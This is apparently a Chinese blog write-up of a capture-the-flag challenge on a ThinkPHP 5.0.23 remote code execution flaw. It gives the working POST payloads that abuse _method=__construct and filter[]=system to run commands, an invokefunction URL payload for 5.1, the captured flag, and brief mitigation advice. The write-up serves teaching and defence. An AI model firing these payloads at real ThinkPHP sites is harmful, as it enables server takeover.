[ThinkPHP]5.0.23-Rce 1

[ThinkPHP]5.0.23-Rce 1

根据题目知道这是一个5.0.23的PHP RCE,话不多说直接上扫描器

image-20241105074629529

检测出Payload

url地址:
?s=captcha&test=-1 

Post表单参数: 
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

HackBar构造payload,访问成功执行到phpinfo页面

image-20241105075013554

ctrf+f 成功找到flag

image-20241105075051782

flag{9bf3ef01-5e80-42a0-b544-9808a1fd3bb2}

### 漏洞详情 - **漏洞形成原因**:在ThinkPHP 5.0.23以前的版本中,获取method的方法没有正确处理方法名,使得攻击者能够调用Request类任意方法并构造利用链,最终导致远程代码执行漏洞。另外,ThinkPHP 5.x出现由于变量覆盖而引起的RCE,其根本源于thinkphp/library/think/Request.php中method方法可进行变量覆盖,通过覆盖类的核心属性filter导致rce,攻击点较多且部分存在限制条件 [^1][^2]。 - **利用方式**: - 一种是访问靶机地址+端口号进入首页,用Burp抓包修改传参方式为Post,传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd",其中pwd为系统执行命令,可进行一系列操作 [^1]。 - 还可利用system函数远程命令执行,利用bp抓包,修改请求方式,使用poc进行攻击 [^3]。 - 存在类似这样的攻击url:http://127.0.0.1/thinkphp5.1beta/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1 [^4]。 - **其他影响**:攻击者可向缓存文件内写入PHP代码导致远程代码执行。由于框架对控制器名没有进行足够的检测,在没有开启强制路由的情况下可能存在getshell漏洞 [^3]。 ### 解决方案 文档中未提及ThinkPHP 5远程代码执行(RCE)漏洞的解决方案。一般而言,对于此类漏洞可采取以下通用措施: ```php // 及时更新框架版本到官方推荐的安全版本,以修复已知漏洞 // 例如在composer.json中指定安全版本 { "require": { "topthink/framework": "5.x.x" // 替换为安全版本号 } } // 对用户输入进行严格的过滤和验证,防止恶意代码注入 function filter_input_data($input) { $safe_input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); return $safe_input; } // 开启强制路由,避免因控制器名检测不足导致的安全问题 // 在ThinkPHP配置文件中开启强制路由 return [ 'url_route_must' => true ]; ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TazmiDev

写文章不容易,充充电吧~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值